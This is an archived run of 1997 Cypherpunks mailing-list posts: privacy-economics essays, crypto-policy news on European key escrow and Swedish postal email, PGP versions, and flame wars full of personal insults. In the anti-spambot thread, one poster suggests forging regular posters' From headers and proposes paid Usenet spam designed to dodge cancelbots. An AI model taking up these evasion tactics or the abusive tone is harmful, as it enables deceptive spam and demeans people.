> dresses *you* funny, too. By the way, I'm sorry I misspelled your name. For
> some reason, it seems I didn't respect you enough to get it right...

That's ok.  I just attribute it to a fragile ego, anyway.

> > I never said anything about planned economies being efficient.  In
> > fact, I never mentioned planned economies at all.
> 
> You said that "chaotic" markets aren't efficient. I said exactly the
> opposite. That they are the ultimate in efficiency, and that if you believe
> that chaotic markets are not efficient, you must favor planned economies,
> because they're the only alternative. 

It's understandable that you might make this mistake, given your 
misunderstanding of dynamic systems.

> I figure this tendency towards
> stringent control must be from where you work or something. Oops. Another
> ad hominem. So sorry. They must be in the air this evening.

That nerve must really be throbbing.  Sorry.

> > Obviously I can't "prove" markets are not efficient -- that's an
> > empirical matter, not a mathematical matter.  However, no one can
> > prove they are efficient, either (that's why it's the "Efficient
> > Market *Hypothesis*").  There are many other examples of persistent
> > inefficiencies in markets,  the presidential election year cycle
> > being the first to come to mind.
> 
> Right. And the increasing American importation of bananas throughout the
> 20th century caused an increase in suicide. Another informal fallacy.
> You're nine for nine tonight, Mr. Ch^hispin. Of course there are actual
> exceptions to the efficient market hypothesis, fools' markets being the
> most famous example.

You don't like my example, but agree to my point.  I like that.  So 
now we both agree that "there are actual exceptions to the efficient 
market hypothesis"  (your words).

> However, the crash of any given fool's market is
> completely unpredictable, and, as such, is as efficient a price as you're
> going to get, paradoxically. Which was my point.

You, unfortunately, misunderstand your own example.  It actually is a 
paradox. 

> > [interesting but besides the point argument deleted]
> 
> Actually, it was the *whole* point, but you didn't get it. Another one of
> those "security analyst" notions, which kind of blew by you, in what seems
> to be a rather breezy evening in your neck of the woods...

Plenty of hot air around, as you speak.

> > This inability of a hierarchy to handle as much information or resources as
> > a geodesic is, of course, a major problem with key escrow,
>
> No, it's a theoretical problem that has no impact on practical key recovery
> systems.
> 
> Okay. I'll tell you this one, for fun, too, since you don't get *it*
> either. In a geodesic network, a single node can not possibly process all
> the information in the network. It chokes, and the network routes around
> it. 
>
> You can bet that any key escrow agent would be innundated with
> surviellance requests 

No, I wouldn't bet that.  Even a lame theory a looks good against a
braindead strawman. 

[rest of braindead strawman deleted]

> > "Whip me! Beat me! Savage me in Cypherpunks!"
> 
> Just lay there and take it, slave. You know you love it, or you wouldn't be
> here.

Actually the most entertaining thing is watching blowhards at work. 
And one thing for sure, Bob -- for all your failings, you *do* know how
to blow. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Tue, 8 Apr 1997 02:15:12 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: some arguments for privacy
Message-ID: <Pine.SUN.3.96.970408020057.18485A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple of weeks ago I asked for some arguments in favor of privacy.  I
pointed out that one person's increased privacy exerts negative
externalities on others by reducing their available information.  I wanted
to know why more privacy might be beneficial to society despite this
consideration.  I didn't really get the answers I wanted, probably because
I wasn't clear about the kind of arguments I had in mind.  Anyway, here I
give some arguments of my own, which I hope offer new perspectives on this
issue. 

Privacy as Insurance

Suppose you are looking for a job.  It seems reasonable to argue that if
you are a better than average worker, you would be able to get a better
offer if you had less privacy because the potential employers would be
better able to distinguish your abilities from your past history.  On the
other hand less privacy would hurt you if you are a worse than average
worker.  If you don't yet know your own abilities, you would prefer more
privacy as an insurance against your own potential deficiencies.  If that
doesn't seem realistic, consider how the argument might apply to your
children.  This line of reasoning also explains why people are troubled by
genetic screening.  Thus privacy might increase social welfare by
providing a sort of social insurance.

Privacy as Restriction on Signaling

"Signaling" is a term used by game theorists to describe the use of
publicly observable actions to provide information to others about one's
private attributes.  The best example comes from biology, where male
peacocks grow extravagant tails to signal their genetic fitness to
females.  Clearly signals must be costly, otherwise they wouldn't be
convincing. They are often also wasteful, as in the peacock example.  (As
a side note, the deposit solution to the junk mail problem I talked about
some days ago is an example of non-wasteful signaling.)  Privacy reduces
the range of actions one can use as signals.  This would increase social
welfare if the wastefulness of the signals exceed the benefit they provide
in the form of useful information.  Consider a possible future where every
room in every house is wired with a camera that continously broadcasts to
the Internet.  Life would certainly be very uncomfortable in this future,
as every trivial action must be carefully considered in order to preserve
one's reputation.

Possible Benefit of Non-Privacy Limited

This is more of an argument for privacy technology, rather than privacy
per se.  Suppose that privacy-invading technology becomes much cheaper
than privacy-enhancing technology.  Given the arguments above it seems
inevitible that governments will pass laws to restrict the distribution of
certain kinds of information about individuals.  But of course this will
not keep the information out of the hands of those governments themselves
and other resourceful organizations.  Thus any possible benefit of
decreased privacy in the form of market efficiency would be severely
limited since only a few market players would have improved information.
This benefit would be easily outweighted by the harm in the form of
governments' increased coercive power.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Apr 1997 02:23:49 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704071645.JAA23089@crypt.hfinney.com>
Message-ID: <19970408022103.33787@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote:
> Kent Crispin wrote:
> > 
> > I think it is fairly clear that AP is a Chimera.  The problem with
> > lurid fantasies like it, though, is that they give the press and
> > politicians convenient targets.  In fact, a case could be made for
> > considering Jim Bell as a NSA shill.  Certainly he is a perfect foil
> > for a statist agenda.
> 
>   So, now Kent is volunteering to testify to the fact that Jim Bell is
> an NSA shill. (and still seems ashamed of his .gov address)

Just so you know, Toto, .gov informs me it doesn't want there to be
the slightest possibility of anyone thinking I am speaking for it.  

And the part about Jim Bell being an NSA shill? I am not volunteering
to testify to anything, but your are the *second* person to say
something about it, so it *must* be true.  And the part about the 
statist agenda?  That must be true too, since you quoted it.
	
>   I am waiting for a post from Kent that is sufficiently lucid that it
> can be replied to without drinking an extra bottle of Scotch to follow
> his twisted trail of logic.

You needed that extra bottle anyway.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 7 Apr 1997 23:40:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Sweden Netscape Intranet
Message-ID: <TCPSMTP.17.4.8.2.33.52.2780269260.1597988@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Now, how do we get all of these people to use PGP for their e-mail?

(Also interesting to note is the fact, that they'll use 128 bit
crypto, regardless of what the US gov thinks about it...:))

Ciao

Harka


 In> Sweden Gets Wired With Netscape (04/03/97; 8:30 p.m. EST) By
 In> Douglas Hayward , TechWire

 In> STOCKHOLM -- Netscape is negotiating an innovative deal with
 In> the Swedish national postal service aimed at creating a
 In> national intranet covering the whole of Sweden.

 In> Sweden Post plans to use Netscape's Communicator browser and
 In> SuiteSpot server software to offer Swedish households and
 In> small businesses intranet and Internet access services,
 In> according to observers familiar with the proposed deal, which
 In> is worth more than $10 million.

 In> The postal service would use the Netscape Directory Services
 In> product to create a single "white pages" facility covering all
 In> Swedish households wishing to join the scheme, which would
 In> potentially create a national intranet, observers said.

 In> All households joining the network would be given by Sweden
 In> Post electronic mailboxes and a copy of Netscape's
 In> Communicator browser software. The postal service would manage
 In> households' electronic mail services in a manner similar to
 In> the way it manages paper-based mail services. Sweden's total
 In> population is about 8.8 million people.

 In> The email addresses issued by Sweden Post would mimick the
 In> real-life address of each participating household. The goal is
 In> to issue more than 1 million email addresses by this summer,
 In> said Sweden Post spokesman Jan Andersson.

 In> "As far as I know, this is the first time a PTT has offered
 In> this kind of service," Andersson said.

 In> For households without networked PCs, Sweden Post would
 In> translate the incoming email and send it as separate faxes or
 In> print out the messages and send them through the paper-based
 In> mail system, he said.

 In> In addition to email, services offered to users will include
 In> electronic shopping, Web access, Web publishing facilities,
 In> and the ability to set up secure electronic trading outlets.
 In> The service will use 128-bit encryption software and digital
 In> certificates to ensure security.

 In> The idea that each assigned email address would be similar to
 In> the recipient's street address is troubling, said Ian Walden,
 In> a specialist in IT law for the London-based law firm of Tarlo
 In> Lyons. The plan may even violate the European data protection
 In> directive, a 1995 law that is in effect in all 15 nations in
 In> the European Union, he said.

 In> "Is it necessary to make a direct link in the email address to
 In> the physical location? I think it's dangerous," Walden said,
 In> "and I would warn Sweden Post to reconsider such an approach."

 In> Netscape will supply Sweden Post with browser and server
 In> software for an initial fee of roughly $10 million under the
 In> proposed deal, which was agreed in principle early March but
 In> has yet to be finalized. Sweden Post already uses Netscape's
 In> electronic publishing and merchant software in its Web-based
 In> electronic shopping mall -- known as Torget -- under a deal
 In> signed last year.

 In> Sweden Post, which recently lost its monopoly of mail delivery
 In> services in parts of Sweden, wants to become a major player in
 In> the Internet services market in order to compensate for any
 In> decline in its traditional business as a result of the growth
 In> of electronic communications.

 In> "Sweden Post realizes that either it gets into the electronic
 In> services market in a big way, or it loses a lot of business to
 In> Internet service providers. And for Netscape, deals like this
 In> with utilities are a perfect way to overcome Microsoft's
 In> greater marketing power among ISPs," said the observer.
 In> "Netscape believes that if it can to sign up the utilities, it
 In> won't have to worry too much about the ISPs in Europe."

 In> The initial licensing fee would not include the cost of future
 In> software upgrades nor the cost of royalty fees for copies of
 In> browser software distributed to households by Sweden Post.
 In> Lennart Gren, Netscape's director for the Nordic region
 In> including Sweden, declined to confirm that the deal had been
 In> agreed.

 In> Netscape has been targeting utilities and telcos in Europe for
 In> some time. In February, the German national telco, Deutsche
 In> Telekom, said it would promote Communicator as its browser of
 In> choice. The telco added that it would use Netscape's intranet
 In> suite as its product of choice when building intranets for
 In> corporate customers.

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


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Version: 2.6.2

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jg3Z8Juk4JvnlMhtv4Xe2b8fDO2cMW6qJCO1GGV/PWc1xU18W5pT5A==
=txDk
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 8 Apr 1997 03:59:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Denning paper on crypto, EU mandatory GAK
Message-ID: <3.0.1.32.19970408040544.0075e1c0@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Apologies if this has been mentioned before, but I ran across a new (new to
me; it's dated 2/19/97) paper by Dorothy Denning re crypto and crypto
policy/legislation. Historically, her work has proven to precede/predict
policy shifts on the part of the US government.

The paper has little information which is new to a reader of cpunks; but I
did note one ominous paragraph referring to the role of "TTPs" in Europe:

>>>>
The European Commission has been preparing a proposal to establish a
European-wide 
network of Trusted Third Parties (ETS) that would be accredited to offer
services that support digital signatures, notarization, confidentiality, and
data integrity.
The trust centers, which would operate under the control of member nations,
would 
<<<<
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>>>
hold keys that would enable them to assist the owners of data with emergency
decryption or supply keys to their national authorities on production of a
legal 
<<<<
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>>>
warrant. The proposal is expected to be adopted by the Commission, with
discussions provisionally scheduled in the Council of the European Union for
the first half of 1997 [22]
<<<<

Also see <http://www.seven77.demon.co.uk/krisis/>, which appears to be the
home page for a pilot project creating a software and political/corporate
infrastructure for Europe-wide GAK. Yow. 

Also of interest is her cite
<http://guru.cosc.georgetown.edu/~denning/crypto/Trends.html#29> to John
Young's archived version of the 12/30/96 revision of the EARs instead of the
BXA's.

The paper itself is at
<http://guru.cosc.georgetown.edu/~denning/crypto/Trends.html>; like it or
not, it may prove to be a useful insight into what's coming in 1997/1998. 
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM0oWVP37pMWUJFlhAQEClgf/WIIWSILMpyM47o1LU83cS78V7OHuSpJM
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his86IqSUt1OQFkXLmiOCak0z1jT6D25AoVCc+M0EoKfE7KwmOdoiFxhrAw1/HqZ
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1wznAc25Un1QwTPTAjQypS7vS+qlMGRUPIO2uwzCi6HuK84c2Tf9Cw==
=qR1F
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 8 Apr 1997 04:01:25 -0700 (PDT)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: some arguments for privacy
In-Reply-To: <Pine.SUN.3.96.970408020057.18485A-100000@eskimo.com>
Message-ID: <3.0.1.32.19970408040639.02760018@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 02:15 AM 4/8/97 -0700, Wei Dai wrote:

>Suppose you are looking for a job.  It seems reasonable to argue that if
>you are a better than average worker, you would be able to get a better
>offer if you had less privacy because the potential employers would be
>better able to distinguish your abilities from your past history.  On the
>other hand less privacy would hurt you if you are a worse than average
>worker.

One of the problems with talking about privacy is that people use the word to
mean many different things. Apropos to the current discussion, I see two
different uses co-existing in a non-useful way:

1.	Privacy as a lack of information
2.	Privacy as a right to control the flow of information

where the second usage refers to the ability to decide who ends up with the
first usage. I'm assuming that lack of information can be characterized as
risk, and that risk can be characterized as negative value. The Coase Theorem
would seem to suggest that the second usage is (may be) superfluous, because
the [lack of] information/risk will be allocated to the party which values it
most. However, the right discussed in (2) is still meaningful, because it is
(and will) be used as a bargaining chip to gain or lose other things of
value.

Also, it's useful to think about whether or not there are (or should be) some
things we are unwilling to do in the name of efficiency. For example, we
might consider it "efficient" if people were allowed to sell their children;
but most societies have chosen to consider markets for children unacceptable
on moral grounds, apart from concerns about the efficient distribution of
children. (I've heard that (Richard?) Posner, an outspoken federal appellate
judge, wrote a paper discussing markets for children as a thought exercise;
and that the political fallout from that paper (some 10-15 years later) means
that he's got no real chance of a Supreme Court seat, even if he's otherwise
qualified. Perhaps this message means I'll never get there, either. :(

A society might choose to place privacy on the list of "things for which
there may not be a market"; but adherents to the strong version of
cryptoanarchy will likely predict that a market will exist, anyway. (I
believe there's currently a small global market for children; but they're
still more difficult to buy than, say, cigarettes. And slightly less
difficult to buy than, say, a gun in Berkeley.) 

But (for me) the real reason that privacy is good (even if it's
"inefficient") is that privacy is inherently related to control, and to
freedom. It's very difficult to influence or alter the behavior of a person
unless you can monitor their behavior. If we make it difficult (or
impossible) to learn some things about people, we effectively create zones of
autonomy related to those zones of privacy.

I believe that this is the somewhat elusive link between the various
constitutional rulings on "privacy" grounds, discussing abortion and
contraception and childraising and interracial marriage and private
possession of pornography and gay rights (although the last has failed, so
far.) Those decisions paint an invisible line between "private" and "public"
spheres, whereby the state cannot or should not interfere with personal
choices; and I believe that the close correspondence between those lines and
traditional notions of "intimacy" is not coincidental. 

I believe that a hypothetical privacy-free state would be "efficient" in the
same way that a hypothetical centrally-planned economy is "efficient" - e.g.,
on paper, it sounds good. All of the right things will happen at just the
right times, risks (or economic goods) will be allocated to those who deserve
them, etc. In practice, centrally planned economies have proven to suffer
from human flaws - greed, lust for power, shortsightedness, poor judgement,
and so forth. The initial allocation of all (or substantially all) economic
resources to one economic actor (the state) prevents the operation of the
Coase Theorem and its redistribution of rights/values, because the other
actors (individuals) have nothing to offer in return; and because it is not
possible for the other actors to legitimately retain those rights or value. A
society which initially distributed information rights to the state - or
which refused to recognize them as rights - would, I believe, create a
similar lack of freedom and autonomy. 

It's difficult to discuss privacy in economic terms because we are accustomed
to valuing one side of the choice - risk, or lack of information - in
quantitative terms, but we are not accustomed to valuing the other side -
freedom, or lack of opportunity to exercise control - in quantitative terms.
(I don't think that the other party's valuation of risk is a good measure for
the value of the freedom. But this is turning into a pretty long message
which is somewhat more theoretical than may be of interest to many list
members. So I'll go to bed and see if people feel like continuing in this
vein.) 


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Version: 4.5

iQEVAgUBM0omo/37pMWUJFlhAQHABQf/QQW4B+Wwq6gGLV/YxvAawYOiGp8VBTqm
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HXQ3t18BGhq1v9IRvOlOOIKXmeEG+frf59CTczzgwzivDSfmchT8PSOvHJo9+KKp
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z9yoTyGMCB6KUFuEL+AdDe6HdikSqQgBgJBOCXi/B8OTkKPgfOnsdiueiVq6GIgC
fVEywZo5nCtWDfVW1/QE39O7jBQvLG2pdTE5aaYQzLR2xIN3vAAAow==
=exeH
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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 05:36:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: your mail
In-Reply-To: <199704080708.AAA03857@netcom21.netcom.com>
Message-ID: <oVcu5D87w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


mpd@netcom.com (Mike Duvos) writes:

> Graham-John writes:
>
> > On Mon, 7 Apr 1997, Mix wrote:
>
> > I think Vulis needs each of us to send ten copies of this back to him.
>
> [Silly Timmy May insult deleted]
>
> You do realize you are doubling the amount of noise by responding to
> each and every one of these posts, don't you?

Perhaps he doesn't.  A prefrontal lobotomy does that to people.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 05:40:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704080635.BAA28472@manifold.algebra.com>
Message-ID: <s8cu5D88w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Hi,
>
> As we all know, there exist certain programs, called "spambots", whose
> task is to post various messages to many newsgroups simultaneously.
>
> Besides their posting functionality, certain spambot programs take
> special care to make their spams undetectable by anti-spambots. In
> particular, they can be programmed to modify certain fields or the
> message text itself in such a way that these messages would not look
> unique, but would still carry the same content.
>
> We can generalize the things that spambots might do and suggest that
> a general spambot would do the following to avoid spam detection:
>
> 1) modify all header fields, for example From: Subject:, etc, with
> each spam posting.
> 2) Follow up to other articles posted to newsgroups so that the
> spams would look like genuine unique messages to the readers, and
> defeat spam detectors

Right - if you're following up in a newsgroup, you can just re-use
the subject. You can also use the "From:" and other headers from
one of the regular posters.

> 3) Randomly altering the spam message proper such that blindly comparing

If you're following up, then rather than being random, you can tailor
you response based on the message you're following up on - kind of
like Eliza or better. :-)

> them would be futile. Such alterations may include interchanging certain
> synonymous words, adding spaces or punctuation, or simply changing line
> wrapping length.
> 4) Swapping paragraphs and phrases.
> 5) Add random headers, footers & fillings (like ASCII art)
>
> I am sure that the readers can come up with more examples.
>
> The task (or the problem) is:
>
> a) come up with a reasonable set of assumptions of what such a
> spambot would or could do
> b) Create an algorithm which would print Message-IDs of messages that
> have identical content, so that most if not all of the judgments of
> this algorithm would be correct, assuming that the spambot operates
> within the limits of a).
>
> A message can be thought of as a sequence of words, phrases and
> paragraphs, as well as a set of header lines.
>
> Path: header field may be specially treated.

I don't think it's possible.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 8 Apr 1997 08:25:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cuba and AP
Message-ID: <199704081525.IAA31961@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/enriched

 Date: Mon, 7 Apr 1997 16:24:54 -0700
Subject: Re: Cuba and AP
To: cypherpunks@toad.com
From: nobody@huge.cajones.com (Huge Cajones Remailer)

On the date above TruthMonger (#7) stumbled about missed the point:

[SNIP THIS TRIPE]


>>>>
The stench in Cuba was so bad under the U.S. backed Batista regime
that Guerva and Castro were a breath of fresh air for the majority of 
Cuban people.
Despite years of harassment, invasion, and economic attack on Cuba
by the shameless 'free' countries <yuk,yuk> of the world, Castro is 
still a better option for the Cuban people than other options.

<<<<

Moreover, young #7, those older than you recall the _joy_
with which Castro, et al, were greeted by much of the US media
and a large segment of the seemingly informed public.
Only, I say only, when it became common knowledge that Castro
was backed by the commies did he become the villain.

Better the people suffer under bu$ine$$-supported Batista than
be ruled by a Red!

Believe it; I was there, whippersnapper!

TruthMonger (#23)   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 8 Apr 1997 05:38:50 -0700 (PDT)
To: cynthb@sonetis.com>
Subject: Re: Is Cynthia H. Brown "pissing up a rope"?
In-Reply-To: <199704080058.UAA21322@homer.iosphere.net>
Message-ID: <3.0.1.32.19970408083653.007db370@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:05 PM 4/7/97 -0600, Toto wrote:

|> Results pasted in from http://www.nbceurope.com/
|>                   85% said no...
|>                   while 15% said yes.

|  Is Cynthia H. Brown pissing up a rope?
|                  Toto said yes, 85 times.
|                  Cynthia said no, 15 times.
|
|  Not that I'm a troublemaker...

That's not what I'd call you.

Sounds like a typical Toto evening out with a lady.

Alec
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Version: 4.5

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XiBPFE/l2nl9piiGIM5FuQ0s5n9ViXrFuuP/0gK1+HdzdnTeentwHUWoO6Y7sc53
IkiLrydM5UE=
=MiaQ
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Christopher Blizzard <blizzard@appliedtheory.com>
Date: Tue, 8 Apr 1997 06:55:05 -0700 (PDT)
To: sergey@el.net
Subject: Re: Jim Bell raid
In-Reply-To: <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>
Message-ID: <199704081254.IAA13618@odin.appliedtheory.com>
MIME-Version: 1.0
Content-Type: text/plain


In message <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>, Sergey Goldga
ber writes:
:
:Jim Bell's essay is, IMO, definately free speech.  And, as you can see from
:the IRS Inspection report, he was not charged with anything relating to the
:essay itself.  In fact, the raid happened a long time after he published
:the essay, and may truely be unrelated.
:

Of course, the papers only talk about this.  Anytime they get to use two
cool buzzwords like "Interet" and "Militia", they're happy.  They're even
happier when they get to use them in the same sentince.  It'll sell.

--Chris

------------
Christopher Blizzard
AppliedTheory Communications, Inc.
blizzard@appliedtheory.com
------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 09:14:57 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704080635.BAA28472@manifold.algebra.com>
Message-ID: <F2Lu5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


owner-cypherpunks@manifold.algebra.com writes:

> As we all know, there exist certain programs, called "spambots", whose
> task is to post various messages to many newsgroups simultaneously.
> 
> Besides their posting functionality, certain spambot programs take
> special care to make their spams undetectable by anti-spambots. In
> particular, they can be programmed to modify certain fields or the
> message text itself in such a way that these messages would not look
> unique, but would still carry the same content.

I just came up with yet another brilliant idea how to combine Usenet
marketing with e-cash. Suppose Alice runs an advertizing agency and gets
paid to publicize certain messages of commercial or political nature.

She sets up a Web page listing the catalog of regexps that she wishes to
publicize. Something like:

1. Visit.*teens.*http://www.xxxfoo.bar
2. Elect.*John M. Grubor.*sheriff
4. For a drooling good time.*900-555-5555
3. Drink Kaka Cola

and a price list for each regexp - say, $2 for posting this regexp in a
moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm
not sure if cross-posts should be discounted. Assuming there are several
such Alices, the prices will be set by supply and demand.

Suppose Bob, in search of a few quick bucks, comes across Alice's site.
We'd have to think of a protocol, but Alice assigns Bob an id which he
must mention together with the regexps in order to get credit. Alice and
Bob enter a contract. Bob puts one or more of Alice's regexps in his
Usenet articles - most likely in the .signature. For example:

   From: bob
   Newsgroups: rec.sports.phishing,alt.fan.alice
   Message-ID: <123@bob.server>
   <something phishing-related>
   --
   Elect John M. Grubor sheriff!!!            Alice's ID# 123456
   I am Bob! I am Bob! I am Bob the Poster!   Drink Kaka Kola

Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the
regexps that she is paid to promote. When she encounters Bob's article,
it extracts Bob's ID and the Message-Id, counts the distinct regexps, and
the newsgroups, and credits Bob's account.

If Carol follows up on Bob's article and quotes Bob's regexps and ID#,
then Bob gets paid again. If somehow an article contains the ID# of two
or more of Alice's agents, they split the fee.

Alice's contract can also specify that if a third party forges a cancel
within a week for Bob's Usenet article containing the regexp, then Alice
will pay nothing and let Bob sue the forger for the lost income. (This
may become moot as more and more ISPs ignore forged cancels.) This gives
Bob the insentive to spam intelligently - not to trigger any cancelbots
and not to have his plug pulled by his ISP.

Alice can also put some reasonable caps on the number of repetitions
because if Bob posts the same regexp 10,000 times, the marginal exposure
is less from Bob than from a newbie Carol. Again, if there are several
such Alices, the market will take care of negotiating such details.

Actually, this doesn't even need e-cash - Alice can pay regular $$$.
Hi Ross - if you're still on these lists, I think you'll like this.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 8 Apr 1997 03:14:14 -0700 (PDT)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: some arguments for privacy
In-Reply-To: <Pine.SUN.3.96.970408020057.18485A-100000@eskimo.com>
Message-ID: <199704081014.MAA05816@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



One of the most compelling consequences of strong privacy is
pseudonymity, i.e. the ability to conduct business and personal
affairs without allowing others to learn your physical identity or
location.  This is a very strong protection against extortion, 
kidnapping and all other kinds of physical violence.


(Its lesser cousin, anonymity, also protects again physical
violence, but it has limited usefulness in business and/or personal
affairs.)


(For example, if a business magnate wishes to manage a vast financial
empire while still allowing her children to grow up in a safe and
open environment, there is probably no better solution than that she
manage her vast financial empire pseudonymously, so that would-be
thugs will not know _who_ to kidnap in order to extort ransom.)


Perhaps Wei Dai should apply his sharp mind to analyzing the net
effect on society of _that_ phenomenon.


The benefit for the individual thus protected is clear, but, as the
Unmentionable Topic shows, it is arguable that the net effect on 
society (as it were) will be less than optimal.


Regards,

Zooko Journeyman

Disclaimers follow:  I am not a cypherpunk.  NOT speaking for 
DigiCash or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 8 Apr 1997 03:18:06 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [PGP-USERS] New International Version (fwd)
Message-ID: <199704081017.MAA02946@rzdspc82.informatik.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text


Forwarded message from Lutz Donnerhacke <lutz@iks-jena.de>:

On Tue, Apr 08, 1997 at 02:00:02AM +0200, Ulf Möller wrote:
> > The subject is somewhat misleading.  PGP 2.6.3in is a derivative of
> > PGP 2.6.3i, modified as to comply with the policy of the certification
> > authority run by Individual Network e.V. (IN e.V.).  Specificially, it
> > differentiates between signature and encryption keys, and implements
> > key expiry dates.
> 
> PGP4.5 does both of these things.  I wonder if their modifications are
> compatible with PGP Incs newer version.
> 
> It would be a pity for the versions to get out of sync and cause
> compatibility problems.

If PGP4.5 follows the PGFormat.Doc specifications, there will be no problem
despite ENCR/SIGN, which is not covered by the PGFormat.Doc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 8 Apr 1997 07:51:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cryptography Export
Message-ID: <19970408124924.5846.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


  I export cryptography source code almost every single day.
  
  Does the government have a problem with that? Fuck them in
the ass!
  I can't believe that corporations pay legal experts huge
sums of money to receive advice telling them to bend over
and spread 'em for the government's bullshit legislation.

  I am not alone. My nephew regularly exports 'code' for
Pig-Latin, as a parody of my efforts to spread the use
of crypto. He says that they can take his Pig-Latin when
they pry it from his cold, dead, baby fingers.

  Cable companies regularly export encryption code when
they send out their signal-scrambling code to foreign
recipients.
  Can you think of other examples? Can you think of 
hundreds of similar examples? Think about it.

